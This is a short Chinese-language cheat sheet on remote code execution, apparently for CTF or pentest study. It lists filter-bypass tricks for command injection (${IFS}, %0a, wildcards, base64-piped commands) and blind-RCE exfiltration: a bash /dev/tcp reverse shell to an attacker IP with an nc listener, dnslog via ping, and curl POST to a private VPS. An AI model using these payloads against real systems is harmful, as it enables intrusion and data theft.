RCE远程代码执行

RCE远程代码执行

一、RCE能做到什么:

1、执行系统命令 2、记录用户输入 3、控制键盘鼠标 4、任意上传下载 5、截屏

二、RCE产生原因:

1、服务器上有木马

2、脆弱服务未授权

3、通过数据库写木马

4、文件上传/文件包含

5、危险函数(eval,assert,system,shell_exec,exec,file_put_contents)

6、命令执行

7、反序列化

三、RCE远程代码执行关键点:

1、RCE黑名单过滤:

linux执行命令特殊字符:(;分割命令)(&&在前一个命令执行成功的前提下执行后面命令)(||前一个命令执行失败的前提下执行后面命令)(|将前面命令执行的结果作为输入,输入到后面命令中执行)(``将命令执行结果作为命令再次执行)($()和前一个一样)

过滤空格后可使用<向命令传入参数,${IFS}为空格,%0a为分号转译

cat绕过可使用tac more less head tac tail nl od(二进制查看) vi vim sort uniq

绕过空格用%09 <> ${IFS} $IFS$9 {cat,fl*} %20

flag绕过可使用通配符f*

2、RCE无回显:

(1)、反弹shell:攻击端监听一个端口如:2333

​ 攻击端使用:

nc -lvp 监听的端口

​ 受害端使用如下命令生成一个反弹shell:

bash -i >& /dev/tcp/攻击端IP/攻击端监听端口 0>&1

​ 在攻击端终端即可在受害端中执行命令

(2)、dnslog:通过ping $(命令).域名 通过这种方式获取命令执行结果

(3)、写文件:将命令执行结果写入到文件中,使用echo命令:

echo "写入内容">test.txt

(4)、curl等网络命令:通过POST等方式直接给到个人私有VPS中

curl -d "key1=value1&key2=value2&key3=value3" protocol://ip:port/path
3、RCE后发现不出网

(1)、写文件

(2)、命令盲注:命令||sleep 100

(3)、隐蔽信道

4、字符绕过

(1)、

使用''或""隔断字符串

(2)、空格可使用:<,<>,${IFS},$IFS,%20(space),%09(tab),$IFS$9,$IFS$1 替换

(3)、分号可使用:%0a,%0d,%0D,%0A 替换

(4)、使用base64编码:Y2F0IGZsYWcucGhw|base64,将其中内容解码后执行

(5)、使用`反引号包裹命令,将其中内容作为前一命令的输入

5、可用于执行系统命令的函数

exec()、passthru()、system()、shell_exec()